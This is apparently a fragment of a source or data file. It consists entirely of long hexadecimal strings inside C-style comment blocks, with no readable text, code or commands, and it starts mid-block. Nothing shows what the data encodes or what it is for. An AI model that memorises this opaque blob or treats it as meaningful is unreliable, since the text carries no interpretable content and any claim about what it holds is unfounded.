94b3971cef364d7ea4318b41983a75d1e091ca43d58dd8aac2455dd0abd20bbd99e50f14031f34cc95a223f6d60fca0033ca06664c9aa0271f2fedfbe29dbbd3b14e39a3ae4beb63ae4f6e2d7017484eacff1ff28d79b6a486cdb49081a10d7b3a0a3d9dbdd37d5c76efa1fdf396086b9d2f75d13404b799079ddec3e3320f88febfb5b74021f695c8af97be6b5bd3361362d100df3abcf0ad847eb7b1eef1c27dc0084c2e66604a7307b3633e6a19078c27d4145d6f2ff0c2cd810f27c2f64fa81de6809f613e7317e08c706abe91dc3bfc854aa80ad2657eed53f880d7cf53244a62a235b3de2fd18f6be33f1fce5e955ae1ff9e637b5b059d6aa95cb62b0a26a29130ebe8a9f7fbc0af2faf43484639e1ed63acd89a06d6c8e62def87f4dfb3fdc0ab5bde6b359e859e5e2acb3544d085cc962abd303b5e8c8bb40fa0a228b4d2acb1dbe87c423d8bcee4667332978a7392450abf07540608c676b11b806c5b202fee9df343aa2b8fa1914422a2c815449e0f022f30eb3c88f7dcc4ba3ca8ffc7f81414856510c492bdaf69bb4e249af35f15fc6e5f7b2d9eea552f291d36e92b8b2c3c178b5f213cc8b3bc694c8841abea89c8189047c78cc217195b739b7e4f0d2a5029bfe8300473a7b9b72e1fd28668dc21b427efd4f2d5a9f0d255755b8fffb4ba77d9268926fac85c0c486f6b6469956b14e46cd3977b48bdff8f4ce91baad98fd3bcf850bf9f00fd5d266af8cc38f47c98fb98f31c3097e3726fcdc059e148135bd301d600348e1d0d71dea16047c4c0d06d36f2401e85b09955d0581b0074082c7a7635ea7f49833dcc5ada3df10ecb55b7e3537a60a19f3ae3558fa6e41a8a51ad58bfc3c8158a629ef1328e9e0be0864f5a6c89bb8106a792347070a088860257a7b605820dba6fd32c7a515b4af801887c1188aaf68dff4c029641bf3d653d4db72fa4ca846e7263b8bce5ee13b931b392948b3d2276cd311e77c3c12a73ddc707d2d8f74fb573b1c4ac13213b7dad65521f6b9037bc4facb6c22272901cb7169d0d5d3380b3a0679a4a7a1c47ed84ff300555de1815f2e727e11ca2599c96acb9d3b9da597d078e8f6985389bfc11b798f747019546efe9969ce2a18e7155bf8c0e1c057806351e6eefeb23800ea9eb58ee284c8ce754c643996626f62656410591676c6988706a7a9e0a43db977c31d0ba0aba1b71ee2371fbd56bc097fdc0ab6f0831fe896b698f0e654988a82d23c88e78d827f59837ec94b513e4050893509c23be54303c9c57722ac0b9*/
/*884688132d7e3dc3c227c143f76a0998374f93535e07c7ba41011e28379afb294f920a97adfbf542a23ace8c4a90d566fd3c79d94ac232f16c3b011f8d3dce9be7c59d1e771d23aa3de24e18b95f8bee28814ff81557c1ded64301c9b8c7e1154ba1cad729decb3c0a90c111d9fdf5715f2f8d8aa239007719f2940e78a70eecfc4d79070d81dd55f61c177cd147e95be830700031fc77b8620520778f04278a812a7ab2aa84e324b14ebeaa9bdfdc80f20341e7ca05a0a97b94e52a10fe8062785c8c3316be500aaf42087d8e65edaa34b46ed195027bcb1c9fc52fd64c7198ff238ba86b5d364a13e9d3975cfa12ad3a0a0bb63bdf1cac01192e49df6e458daedf3cbd0ba27f332446bfffd45a7f548bf14605c127bca2c7a4eaf218a29b4789e5772440a88445a016e57d6ff9594898cc13e48d0cb5abf5a7e795b1fc209ab5820726720f3683fd3f948bfa2c9bf7cfdcb784db0d017f1b620eef0e816cc21c59054ed995a412b80f962bbdc68e37af75832b24657947f6d909e8294058acfe84044d48e80260e1c6dae911e1e6a3974dad0e3e610530b2268056d0c69bef6664890d74862d029616747121271488d15d4f24c6a7fdb10799cc9f688ed92cc8d3aae8a2bc030f66b3dd0e731fa2da4d5faefb7b626a5d56d1346170f311d821d5e63914087f5554053ed1683b416c64c54bdf9eaf41e920e97ebdb53bb8c403a334f720e4d542758b3bd45a615f9014133381f8df6ad18eb433605b931f577fcf781356caaa01caac62c791006fb13ca6ac581c3204f2c6dce788e0f8242a066250f464d838169dd188fe3d6340a6a3143aa86c587eeff5e2277cd69cd57962fb25de624780b659b937074542ac4b478a4101c310864dcad7dceb4c83d74defe3d3955d4a6517785dcbd9c5a5e667d0ebb3499ec2355e89aa75a6cdaf725777229ee5dc7d3e5707aabf6a913fd18a290bac2973aa948ee7142ccd4cf3f967a0450426381bea9944b8c9f2ba387d8b0eb2fbbf24759a6ec60d12a1ddf66c511e8f007a0043027e511e551207100c0de76691cd31eecaa758da49e5161d57442142c1405133c00fabce601c2ad9c35f86e067737b77001589686b47d0374a66a4e5379db51548c2128e34260cbb4324e31eb7f27ae31a34804af3be7fa78746f5f420d41faf26581af967de527ddb32ee825357974dc38f20d4c667e0f90f05302c31933bce0eb1cc665f7d5abfa564c1182f0cb1d61bef4d41d9b1b8899b35394669c66b9839c873c7c705a29443c070280f412df6ab8d31ddb02549d477eb2ea2f3100bf93420edf409c25f51a605aaa4073040bc5fbc946b4526e9d42f036ca4c90c56c2e2d3639f1dbb6f1ee2bfd4c36913fd599f55bd0d094bd7fed9fd362e9da68e788adbbbbfa8bfa76e1cd70f429a71470f9fcb584540463d4eeaa135431eec4d3855c6a55b965a678b361306cd91ff5de7ca0e6c8493310f0d44f8b730792a2d6eb513f560ec334bf42e39ca3d8a4eec288792423bf3ad0aed58279417e976d0ddd61da2c0b540da3bc867ec0e3110e9900333495311c25b0f3ee0a3e1129565a788b6d4ea2c5cce46b1cf4b5a6f603b6f67ed0402a0f94e71178db18a7cdfe4f7769e0f47cc8070c374b170904aefc3b17d7f74a5333c5e07e7b029525665c8127c2a2e4c780fcb277962fda9e0008891b9460bccf9cc448bd2f188fad38a58026c7d98027343a1a1cf0436842ef6704f922d54e3e9fb983d99d487b1a9ba974ac6bf2ee0b02304b1bd11d4e52c2d41b01e916976ab5bd2780238b7c798502ddbbc6b2f8e3af370702bcb06df3bb9c5d10e0dcf0a6dd49d950355c6ee0577489d73b1784f2ebecf9637317ff76b2fe378096f2f89f7615f473f47248b42a29850af1120f7d5e66d8e78eb152f5f6f6acd0e38009877d2eff132c21c5aa3cc401fb302e338e61f2c4b4ca15b18e5683ec8919f8bac3828712e2766bf02c82b8bf3dfde29d32876cd00b8b8a2d333d1602d94943a8e2332c5f9e8335151fdc526327e9bf70246d1f106d9db8e01395a01d95efd49462a666d9e275eb8650c8217e2d66f563b68bf518f812019ff631b026f452cbbe188477e90dfcb02449c10dd8ddc4a300dd36891827eece1c98b240b25abdf22fa3847dc15c4476cf4a42423159878a44e892ea97d200064bf06dede307ed9e69bbd62b64bf160cd83fa33d7a46ff194a6223e7101b7cd9f180b8b5208a6376e0d506ca3c5455cc6e0e25bd6aa090f75cedd7c996c038289e720900668a441b50b4b27c10f50e89ed97ef62f6ec43a99bc9ef0efbef9f0dd8996e9af9c78bf2669f86c88caa7f5b10e9a841904672abaa2bd80272567e22e9cb4993372d89acc5044c46e049120f56b83ec0344fa478b3eea6cd80feecdf3ff125b4f396df45f4743ea4a657f6f9ad91181bc4cc2f953ab3b5b70630ec37e2f9d6c05fae925e32e8b557089f4e940193af841192938fe9c8ed366fa132dd32b4bac0d8b28606b9d88862d141586074f64f3d843c04dd77f0ef01872dceab6dd1a2c333955ced4f49e10bd9a32e1a24ccb4855c89416c22c1da8d1fb12b4e6a9e8104b79dd2e97e11c3ec3b56cefb79aaca1cbb31fc58510ee2d97ec65f7201efd047e93da5cf2ac1b230d1d09d257a7c696ed8db0d688aafa9f2c1ac2b46a8939725424086e23de0fb3f1506d6897c1403375e0fe8c1022835429bb1e890b18a27f941d2c482f94a2ea2380e8a68fbec0e73fc7995f06c1af62d51fae27c369bde80b58d062f13c3b749d5a129f2ad1ae3145969bb4a367f89121596523*/
/*7d4a74682b4e1ae1516a416042b0088545b963ba235f1472e8cf3b194df59b5208e5d0778c363b813f34ea3758820ecacfa010a3e48a4b98a0e80f169bc253ae8bbd974bcce862beec5d89423e94193bc1d9410fade4f4e6f65cd4ca5445a0b7cadf88c13174d809f75667e4ec1c561e012d80ae30888252dad21087949bf127a00855c45aef71fd6d62a3cfe8888bb1c8398a3198c2e8b5782d02e4f7019c0ee8fd6b0adfe5169e2dfb8c6d6c076741bd71eed9700deea067d0121a84939a09f164a02c7b23b75038736675db6c83f32bd12fdfa7c34a17edc24a58210dedd89c8cd832352d4b5565678c617996f3b6ced1e9a5467ded7fff092553078838d06fc09bd6ce3c16a146289b7e8889f252038416f8069e9e38fbb9d3e77595ca3c258520f24ac3c01a55408f19650d77308948580700dfa6b0e32b88a2b3053aa1806f22d5adef749917a317e8735a331cc33bd5c9a7300fc2aaaf1ea59246077751fd166dabe6ecaf1735d57c9e1c92f6104604a2a4878fa989f586f5962101c89d52643f864768c2eefab64db825393f39e6814a064077db695a4fe99a925c5830e6737e392472dc2bd45fd8859c9551e96c9721fc1eff12ee4aab2b31e076e74a8cb955a7982f50fa2c2d2a13cb52f69924cf2b84a9efbdc921a6a49c6bc37add023b4b423d3ebd5a36868f1c89e0d5bd46dbd78fc161e25cbbfc57b4ff8fd6cfe3bfd1e779e03d8c3cd213fe3a0eb4aa54df6ae156cb2982f9e8f31ba77af45d92a056c78b75d3c60fdefad71ccd451a7a00a609ff7c481874041674ffc3707dcdad401bc835cc5e874fb4bbea43e15ec081bef9341ad47646207f81ce0ab8dd07484e7a6bbe51d8d36d041506e8abe03f386eb612d5e6220fefddf161a3624a429b3cae5febb6dff1e344e6b71808c75fb680e992a980be3c3cc3494a06c388db1805cd075a55bf76559792f00860bf46f4237d9e1fd17efdd363dcd298f264e6fa37d8ea1cf8846d280494a4696a8ac6c059854cbc60eee068bb08652d214d8fcfdc929147c7b06f72a1597550dac88c80f3fad2da48b2709d2d515d877efb9ad0219a1fcbe93e4ac7580c4eb9ff7309a75cd0eefdc6555e370cf8eca24ca471b1ccb1a8d9daa96e53f8d29f358b80a03de642201b974406790bf6328e12dbc62d642413f24db1aa3f32682a056fbdb75feb8d6b2af1878241ad7829e0e334d1021e73cdb2d1af1593c2a4f5cb9fa95f229aca36e2c0e6de6fa055a958455b4a84b9a2123f44b593f044d51828984b6785ff6b70d2e9eebcbb0a9832c503a0c241d3a4f83796d08de27c2856f6de62ee0d5a08a8a4570e938827af53a48f4781078d186553bb724ca21a863437e834ec095056890668985f5e8a54fb1b960bc841166cd6de07548896b32f7cf9a9043b378252dda66ccfb078fceef2e4aadc61648ce5e25a63226a27e00c5c739619701abd4abca51591bc95f3571ec6ba362683f86b997f547add7f9547fa1f9be11eb334ebc1f422dab79f261661b597268f734ccd5deb6eb6b0ececcc2b7fba518c2875e31854d9412a8b9ab4bc433d597e05e995c6a142d7c719287a596c594a9493b8ea29fb2a5c320aa5e9596439f43a808b1af4258133a3b4d0528367abcba4394e15ee834fc5669512341f5f65ce223e027f5c98572f25722e50b5760443d13140f54541750f93d4afa3ef552422117885d37827ba158bf2e6c3295f83dad178a72376cdc203a10fbfa9da5ca830cbb1e574ed5c5808852410357ce433f022c221e8382a306a99680a99fc6faa862307e0ee92c65bf1b3216e7ce3c489cd1b697bb7bdd45b69a32620b4dc3d86ae31b31fa2d4b223ff635d0f4cc490994c785cf0a53b8845a8eb0a3ae8c9f6809410175049817abe8fe6e59529691af8f754e2b82712aec7fea96ac5d6e2059a5a8c1a5c83a64fb0e95d3ab22a104b0d6f82b6ea9069d40a82b86069ae9f23eb8223eeaa8bf191607149cb68be00525f42d1e13feb45b0c59791f7ee04485d696882d823b002b8883fd72d625bb678dc45671c55289947ed423243641b369bea1d769fce9c93990aa250fe1f448d6e179a298c0204563b16ed6ca84ca85f80cfea82790bea682ce89811ef0bd3739f5bb3a77aa27e2fa67dfec4a5ad62abd208f3778d540d562d71512d42b8225b0fcedf6882a84d4d6282fc133e10ac0394a4e932b988bc4f76a1bf31d3625affcc88f450fd44fa03aa6b00b4267a9f507ebde37abddc15e298fae29215d0e3b8b4114c7662d38e66aeddbb015c5183ce8e405e5a11169bc4be81a4d468627541346d42f66511288f37705a5a3310cbe06734e51d42a4fee20922bcba2bf701e0c52b2a302d6a8af2f54320725241386f032ed23ea1554ca36b632080d6c32bea38a5c7fdc3e5d47dad901e8ea6bc19b86a614e2a6f062f539ccac1cd5f56bb286f5f4b285c791fff175bd5272114198c427cc12e593d978d2344e314ce542abcc3998df32a91e5d716417f2bd9019a70af5943059185fb1e0018b0fc33dbb1f07001474bfc2355222f8b98040c181cad44ec2c4d721538fe435e5a2dd8f4f07097a1c86a66dbbd3dcc4b2c9fc497ce97bc5bd2edb7e5ba9292b4286fc80356f26225c823f41b216cb6c3b68a0ededb610ddabb845d9096af80b6b455b6643ad0a620f1164665de3bba45b42a3d3f2bbcda6eb1e9bea3f5f8679ed763ec05e85480ebfb6a8cbc88fd4008ff871153bb52d61464960404b124a11671fc8f791c5d5fd037819490fe7b11878ac27b7dbd14b94737e9549e94a0c941836821ebf2cf7270*/
/*b8d4bf3021b22f91804aee53777e8248d7009996bde9292f64a493810f037259c85f969c1b2febc86da6725d7ec6712523b223bba389b9230248d99f5b9a058908aa10016fcb397ad5c4b85a259de245e1a6271c0974293d608e061ca8ffceaa696ea6933e83848260384e8636a5095dd0d4414faaedfb70e07c7e7e2d1cef1e2c5bdaafc4b95a0436405ecdfd6d7cacbd43a13bdfeb77a385348ee18fe7d2e610cdb65963203f28980a1442270aff99ea972c12567d8f7cb853a73b8f3fa41e63a09e357045411ed6a341da110ae1ca5fbda61b25f0de7cc80e4513eb53888edd2f353b0d12835a187f8079adb06b057b4cff2476688d2b126df30937d97c3a8de03a881bd808168d7323fa056a941b12ca3bec352287fc09b9bffdb4879a3d1b8f16fbc6f6e3b2c01f06c65f9c2c10c02b0821d5f804187d5b4b11e2cee0dc1aad895b572965d14ff64267dbc4bd9371f5fc41a49cad42f08c205298d87bce5078ccfaf5f403b5cc2a9f8fc93dac421b617e45d11f9be1a54f2f4757e09d9f885102f7dbbac1b99c54b20424eaf376aa106307d1509de27c664339db512c01ba1f0b2ad65adaccd02c9f0fc93ed686c84c98ae5de577b4f9accf6ba588fbe6c53707027c16aa3241fd7038e44dc0599e6d93edc310ac740f5c779d7241ec1332b84fcca9cd3c646c69b932c6249721a381a5b6a978da9c4940869a787f53f0117d6f763526416add02385996a8a1c94c7443f9d97977aa5190aff52ea5ceee2b7e3dea30228dd666794af43631340a23382230ca13dcb943209d6d993b276e473eedd3f76afe23acdb5ab1f2bb1495b4a0f815646eb3a2da45993697a02a0793e2e8471d9b347660686c599cea92e0dcbcb65dd20f32089a677d8ade6412791760d6509a564e1f0efa72a8f96649ef53a052eb05834bba97ec362f8b302d62ba38d776867627edd8c5b5d74fe1c7723c1224296b7714f827842a0fccb2692e689c9d0b1ed0134f130633160da8fc0106e400623da508f2c818522d2d8691ef331409b458adfba378f3b11242e82640ce738451d1929e5c42451f5dba52f51d1e58e8669aa839135626f22d34976e6b06b5186663fffa56c891877b37218875ddbd6081e85af64d916d7e5ae77f0e3cbd29be37740416b70926b5fd0b7534eb9bae5b87a0c52799a0dbadaebeaa7742cd82ceb79da33bfee1af9cbcaa0d1eff25d6cb5cfeea4dcc7058c978a091215bc1bc084828d5d6252d172ff74f7e07babf8704e473a2524b82c75d345626d75901bfc250492715f4bf6a1d2ed8cac366ed88eff739e14391b45ee254eaf40b63c1be52b744170fbc39df04056386f4ec8eda01637a13fe92dcabe5f2052a8d5e8b06933478c754e831101b9e8a98f0d882c0bac48bdc06dafa9bb8f4b9d9603d992b960bd2dda834bd28306a49403ccf94c0f67c0ce641b5f5b39051f2d0b44293e2c952a10a94dc8bcbb3575468632f2416dba966778d9fb75e1c78c542417f2de95b752ad152825af8ef14d223767f3c876befd83a2f6b7c9f3dd3786cab9eee3d6feba449ce158593218a697a6ff441c945a66f96761bb73b8e2832f3bac71944cbb2819b8536c5416ec3efc6fd1d76739fa7b76b7615f06ef5946c84bb8b51b9f7fd3fc824b267b8c216d5d7dde55933edc121b3bc8a9eba154c78175d619004ac2a22a43b396431a1e8bb5e75d0f9694e72a6e945e51c60f48b107f0d97d64fbe54fffe8399018b3625cc6499db5468b9f6a0c2a3bf557ec97d218833dfa7ab3f950b79931435e87bdf118ffee65cc06c73bc9c2572679806a6c2266783baa7aeb73f1e42beff6780f7388dda66a35a44e15ad65a9ba9986be86e4ef0e67c970b87eed35315bf5186155b80ab128c7eb582e2014eee42d7fc268a7163c478b3f899064d3221c57858526924c84d90031c913ca150b77ee26480c3a7d04b382c0a3a13feaf5e5ebdfbc9feede4b4c9e19e11684dbd0743647818a5ccfdf48871930a53e8387d784665a3efbcd37bf22ea34957f355471fc8850df1542f0d141f58abebc15a3177d4ed07ca3fce3375c02ba2735e45809af3cf877f4148c8a06927e246fb8555fd5e08b7cefd44943eaca6425a2447f4e6f4e8eaab2486fd59bbfd58926e58cbd65409817b5d7462b02e0cd561c87b6ca60ab24fa24338845798ea639f025f9732b6b9d58efc908ea9d767834238622d906d2f4e9673919dd94e015ce7c4ba0020200c7ad5371db4c16a4c4338d17c1f21bf2d5fab4a0df062140b90a434cee0e3b2380acfbd10455173508913c140522b7b318b226bc275a517f3cf5b232baafd7ad1c9f7c0fc6d2bab3cc8058c8c5408999631e44591465d1990f228a7a714daf2157e93f3c13c3325caddd638452595ec835a83f09225c3d206ea915090c4d122dd99ee5e5f1753eeed4fc845a718dc03ffca0d5e98f3bfbca7418e8366d61077bd01b7a516d2eadf39d0df5966d3819fc700cc0555a073521c2fcb9e64d1f5ce300e8599593da16ddb6fe7415c3bbdd0b1bf6195fb44f3064e5f81d591a84d80a9cd2707151543b0f3bde169c24e861f4f7fb869b64b9db58d399e5e69f58440ef66d8132329a42871806c05ea486261c659bd22fbf7ac2c45facfe7262b2af3a6dd55485eabbb37840e5781f030c42029eaff1668ea21c797f1860236330fcac9f2cd3a4ef98fc0e55a6dc2a253fc8f5c26f957d88b96845e5d30ba230cf298488f9079dc02241ebe1c9908f8f6ba8e90bcbce2f27a262141508ce2629606dd658ed332e2fe26f08a59040c9cac594975313c146451*/
/*7167ea18e3d5233be70e30c371aeec718fbe8e9438c04c2d4102c329bd6f6f5b6874200e14fbfde57c1b2e04e7e1f7ce2aa524e6f93d6a32123af82e21bfe6e111ffa2b4190c08d70a23f04469cf601043d839e65e1fbcfa3d0201cc229cf44fc951a7847fe8eaf77411f6b9c5629f8787329babb4ef6836117c9718fe017e2c69de87ed96d3d4d802e3d7d10b1c1427518cf65fba4bd0b12daeada1e665846481bfee3da73cbe4403b7e65e491d697ca8dc3cf49dce590812604c02fc2fb832ef5046e5a65babaff256f3d9cdf5fc5d31d0fac508694daed2029cda647fbebd5a0f1518364a8c2d550b417b5ffdf4b77731900f2d958b038b1e277fe03880815ce575805782489848c2c04d56589cede1efc1fa635365780fb099334e8d04a1c599fa3c97cebab80ef43dbf04e7b749a08537124e3c18258a5fb7bd2bb083ba61b6f68f2917a82b0f6bd28e54b8eda33fa9595542c12a0fc05756180a2e6567e7dbc851a1e7ae76b31e8fa2d033a32e07b74a1ef343f48944e7ed8faae130a69c37e5e266e724231a5f3d1a2b5e19d7d89e8c419c31b877c9276e32823b72c1910a6855e36f4f0d36cc002f4dc9c5f25488996ab90cb0f39cce8de72c3c75429d9efc2994c4c2194155660baf743778f76341a60ba07f3bed32d6840bfe6b7abeebeedeabcfde0084b76105e96a8d32ad0e3a84302a3241fa94bc6b029d46a668da75c39761c318583cf32ae4248d847238974d7c63e3bd335127d5f3687791c193ef38ddb509f25efc5ff4ffcd05118b42ce161a8061eba50116b2679005c97a81690dd1375cb895cd3540a41f7561fbb5707374080ad90f799c8061b420a5f1b134e6daa2dd12d2ae2495081c06cb03159f57a65e0fc76571617cbd84d9b9e539206414c3bdfcaeb4f8eb844ff3ea09308953227e0d945553394d4e9927ed6c633ffb6582a1eae1623e87a3e9aac949bce29b5851c195c7c21a257d544eb77b1e9dd914d88cac3476654a5db841bcdafddb8e4d88f88602a0fe6f893fc94e0cfd949b9e81deb3daabf58723aea6b6069f68fa2fecd21cc86b76b5f6bf6ba5cf9e0d32565042b64c0e9a24164a28ea1c5c443f207f42e27071b666d140715bb96c93895327362cab61754917ecead8ca18facdb0675a2fb3dd1465970b5dc04b1d76e6497da02224da2e9ea4fa99007a8e5741778176ad754e981aef397d9511b6043f405f508ca4766f17ab23a1c680d4496484d987ab78a36fa90705c0be895333c2ed2228affd7d1c47874ee3a314dae18a01e20d23285cddb4fdbd3e1e0f8c7715edf6ec4321fca7ada1577ae83ab1619adb889ec2e859add204a142192d707658592617ce729b84148f085037988aad3bc08a8f16f662316c867cb03b2b922e4a76199a3d7df05b0db141c33be9a830138657cc247d602a3ef4388a893fed0216ad2b8abc5b6380f11fce8fa3ba3cfb0fe496d65b75736ad2048bcf4c6671864af76ea08fbedcd34a481a5c960fa140b1ad4ce86894233eab4933339f163b3d78772fb470adb539dcdae7d3d64fc36e601e3e291df4a853d03a5da9f0be98f083dcbf465dc3bd708d47a5a89fb1789800ba82f01b9b345ea4b08455a73525ff9148adadf638232d84f645ccb5a7aab96056f65bbe8337f9afecd365f116ce4c25e239e8520811e53e5f0fa92f98d1ceb1851fa78b8001148990760b19241077236606502d78341135f08207ef2087623e76258e35f687795da8496381990897622d52c260929c38f765de7f771eb55e222b480a1c26bd8e290f86058ba0d12f922a045c6f51e7309d017af796402382d1c75f1612076f4f80886a5131220e27e26d17f4568dff4231226e80bc0bf68387870820e0558532e869aaccfc9ca61f4c8291d81eaaa5940d546fb52648247a1c7429b60f36c1180dffded2874e39eefaaf3f7a5c6781c9417ce455b41f8a3bebc05dac3adf3cb32f1149c48b798b58482e1176f423e92a865df4c00d9ca6946813c7de9ead8249f819dc40d8c9360d8a9709cd2d1a535653234b6940cb9d069d08a73911adeb470c68a01ee506b2e59412fff51d375432586d36179f7d1e4ddb4b35a68cf91ab107529569983b8ff2de25b746776d3820dd0a0abc26d6c6a5740f4c4d5e8e97b67a2db2ed6aed23e07b0b9ed46f848d1c1916ab952025877a6b1894889f08ed5d92d0c64710e34c53cfac027cac4cb71472da66e6da665bfef9b8e3821f34e60c6b987bcda42e82dc807d296bf60cc6b7c1964877c32c56d5a27fea50da333a0e4af6870403e5f312472bb77e285499659cce0e34f2eb4223cc899b7c7477670941586c37dbd426b1b58923eafee1cfbb84ef69d5b0c11e41a0d3b6011b3f37c248b7f70c0275f12ef1712816269d0f773f8fb3aa7cc63ea2e092ec2f4f2b9691a72dda413f673f8848e6da79fa543988791176a663ce55f10fadb18258db670a9568d5c6627bb836addf5a940cd59c8781decb2dbd9d4de840389a2909b41cb0b6914527bfce05634dfc08dcb217c033ab34ae7d487d84e730060a01f66cda96d89ba0833dbe66665a8da1459f934d06368c955944138a776fe14e46aac11c39a1b1eac9c9f2fab5667768ac2db63c628be7f7ae575c4a4155fbcbc8b1bdb53ef19da425e0d1ff83106a917e03e03125e6b3b566e906acc9dc09bb0d2a8bcdc7dd2d9bf1f743b69b59711c5f1c6772a0222a9f7bc0e0dcc929e1cd0cb9a13052f62d898faa4799d274f74f8e092a68ec273ca4dea505ba56089993b0ff334d1f1ad48ed8f25054de3c4851fa82632d842933b1da02*/
/*8b4244d3529b7197b2518c8300e2474fa83e6bd6b7a693f50e1461f507d7fad00353be94cb0a9c5349408b266732594157a7626e23845f65b156e17b2fceb5e5e9d0eefba11f83ed77dce2ba975b96cbd359f94d4fac51dda28802944dd2a48a7cade436006e7b50c8d9ecab3c406e70e1f3f04a2b266c25ddaa6b67b3e945beee882b3d4283b966d8f29c3d0550611662849ce1cfd0ba8c1e2849e5e2211f3f7fb44dbafb6d297b467f469c9509f7d6235e913ab79b5422c5f1abf1382c7dd6567f519764483a803f23fe172d09376d39e1b1bc8d7c87ccf26698ee1b188490be0d3ed28c46278dc687d20601f4245183cc72f8f20154c909a8b3ddff399d323f8109e91ab3b4455d20d744c0ab03b3539d581893f1730cc8f001ca772863632a151360df95ff408e5a17e9a58361e3e85446a543fb7f1a6680bcc464a20312fb62ea9b697a8c89c72e7948299847a24c5cf0efafc45ecae2c2a511284b04078cf96bcdef521e3e84d3afbb7e742affcb52423fddb7a1961c38b765959f685bd6623535f47a6fda48fa9be4d4aa2be4bd8b84d0ba7e6e08315cd342a41b4791a74a6481a2df098faf09960b17678aea046a7d965869f3d346732bc576d99f8528b9f5fb96847999c9d8ac88eb0f3d615e10b6e01e4b56010e6faec1e3f365422a09f7048010dcd4fa49e68683e7a8b0884feb3cc09eafb11b88ccdbed4e53d88e9785a956d2c415a021cc493515fe5e5c8443c57c2e825c90e99cf13c0f3f879d873b0864888580fb0f0aff2a190549728f6720b3523eeae63c4e68ee35fd588f11a0ce30fc999508da2fca4b789894efda445d4ddbd96edda93c896fc42b691f0b62164506f166e12c9471289dc86d0bd5d0449c36b0f629d059957de548a49e750dff72bb496cd5fb2f2b80dd649af105522fb8be235fe9d686c550fd594333e5a5f4807cfb54e2c829023aac320f26dabcedbc8aea7869aa3da3f3c433b0e12443e1b56a16f01fdb794194696548797a8a0eacb6e12f91fa4b0ed052d61f66fecdc5fb9827a82dc79c8bcd314c69387d3bec955d3a351a1d213d7c578879c3056960722bcab12931dbc1429cfd8fddd27eefdc29e92b6201f09335a5f13d0db97f828d44e4cc4cbbe7b2e740eb3efa2c0d2d6101115e975253bcc4ca09e3d72b492db06813702725c3fb397a81f34fe96eedae2e0d058d7eda09cb42935f8c7671334c7ace54be3fb90c952a6b8f44078893f61c2b817f248b7fa702073908b8295854a4482e74130c0089fdde7cb5287f19f3b8920f9690b458034fa8f750a824e377f0364ea8437db38b47311cab5b68c8fad3e3947cc4901eafd5a4ce60a3996c6df0c7c2565825b9fec4779a54c5ce4508521b37550d4247001c1637a27c1e5c00048a06db9a2236bbefa70def797de09ccaa2c0fbb812d7bdcc15f5d33cfd9dfd3bed0b2b08a17848aad04d47afba4229a0ca6b9ffd5401674cf6575ac3721a3ae286491c194115cf7254d4433c9733e9f07170ad7223d632e911a557ef93f8bb1aadd79483d4696bcb7b8dbd459b3f93f122731340d269aaa16352e20da4c50b990e63d5c835bd100496d1150021db1f1069b09670f30bac47eecf0297bb606fa1880cd92a7ec517f090edea6a1c592d8cda1cb90e4dd32676719357b39d9b2dac71f3e7284cbb7c4b2ea14aeb9feb6a821ed72e7815cf065790802d214bf74bf16a61b2542bba10224a4934fe06016d6bea3380e36480272f8efb99d38b3b7538c6157f287d6c23ad92c755cfa46ae36ff63fc8a2212af3c9bf5c96e8cb77988e94aba0f65077af1da46b0a8dd4c468b5d951f8f5afa5a9996724503e217e474fe1dc1fff468cfd752c853bc98fa76fa570f912b580b96c6f2ee06b25e08be42b8998312af90174bb230b2a8caf6492200bf90701d9f7709365d8b3a7ca11a3866894421823fbc04d65d4bc30ecf9be76e17e6e2ff553a74e22f2b6ffdc19c1aca94a1d27292fe1bb701f6294217a9ade113b96030b818ecd427c20127f602172c36c9dec3094437d4353dc13c6eac68deada17343e09922aeb739b6e8a2e99eb17584d53d888b3c96a52cb7f18a8afea72dd722cd60a10a32ffda21f8aa82ee5cfbefc103c7de455ee3c923a17c274ca989776ac526d9470e981c6582a23b6cfd55b5747d562d63b9d7e18ca03f9b6ad2dbcd21ea41bf697b6047085b0a262ab8183d4d264bc734e82f73cf764922ee36a3e9c45ff43bb4cba3d7ff1311f4dd207d6578d6f2aaca9ae3947e5ca08f471df5909cbcd02c4134690012d0ad43a79b86c1ece5619cc2873c50029bb22807fc3b93a296ee033c61d93ed90c636253194d3aca921ab44b1b5c84bb1e4d12d625d9722b7523d86bfc2a37c79f5e5d05f1d2c72c48e47e452dcce8c9937c0851401d8d908b8d793c5638f3a8450cc83f21676a4c0fd3f027f5c80b96f37ad5357cf9681ea87e3ebacfccde79d80a0d303a0c8ccdd850cda0bdcdca61b97bb9f1935eb2322a2f9ec7061155775074de74478307db9f6d88fe05b2249f7ed37020f108fdb1f3d80f5210fff6ae0de8c1f2f5cc2712dcbecb25c44e1ccc2fc4406900c15f77099013499e0e554825ad241d8bdf56dba5594847b7d0e89be1aae63e4c210b68d1ef693a8d7eb70b1ed681aa80d24bbf2949d2cb910b2aa677643ec9c2d5c7a9d52864f71274ad0bc93a56bd0d6775ad3b1e45864bc9b847095aa86317c0ca5974c88efe5c1f1d3467ef14c546c1b839a938972d95ce73f38c0be78b4441b2def80d81a06be858bd062432cd64e46faf3bced2512ce2e*/
/*42c17412b0ac8139e4a60c9fbb56c03063a00184bde86f780e35b3ebf96972b31f3130a0fc756eaab45ac55b314b3243f2a9b748d83cc49a0884b10315efa513e03e03a93eeaa8a61154b0727f437a638b8266d21da5cb2e79c4967c61ca3b706885faf65c84f1dde40bc3c62e5997689a4af14784718fbff2c412d2ec175f5f451e5dcea4154915c5bc1173183b76de5b4a6222f985ce90ade999cbeeff79d962e2a33807c6a10a4e12f62a0315c8471c9f9bdcfb9fb1eeaa089eeb262fbe695bdc4216cd37e3af45c44019dc2c01564a42dfab22d5749199c88ccbf9adeff7557692e86e2b15ea644769680f3d966e817aa411a73cf55793364d10ec5744c5675e4538023917a66277d29c8d1faf2a4e5720a6111fe8f0633a1bda7fc39d14fe4fe5edcc3bd69757d34fc4eba8a7ee82ad82e13ece73a97f3064061a603727da73c0c89322e6e4198cc5281dea7ce8744a8994b2d259655d783848d71e02466ada9628020dbf160cef8f9f2e091112e6d0a7a1b1a49a1411551dcab472c43973394566e1739e311dbbabd9129b81547d5cd8a31859dd9b8ffe1e1b638530204bee0ed322a8f1918c3ac0c00ec3da64975c7e8029afdaa2d6e7914381bb782cab5f6c75a88faf5a8c7b6f2e8095df8468a3d6659d1b98f66b099aa4a3fff11142bc9a1ba726b371c4f96c30720cb6c92aac08b809a27e3fb38d83fae09fe7fdaa42b5137e63349104f70fc1c95425a6080e5c1aae13efc55ad87ed21abeed91e2400548ab7a3620dfd8f8138857471f6dd242a3dda0b1698ad7503fcee40f37c4119f5e0a040a0ac7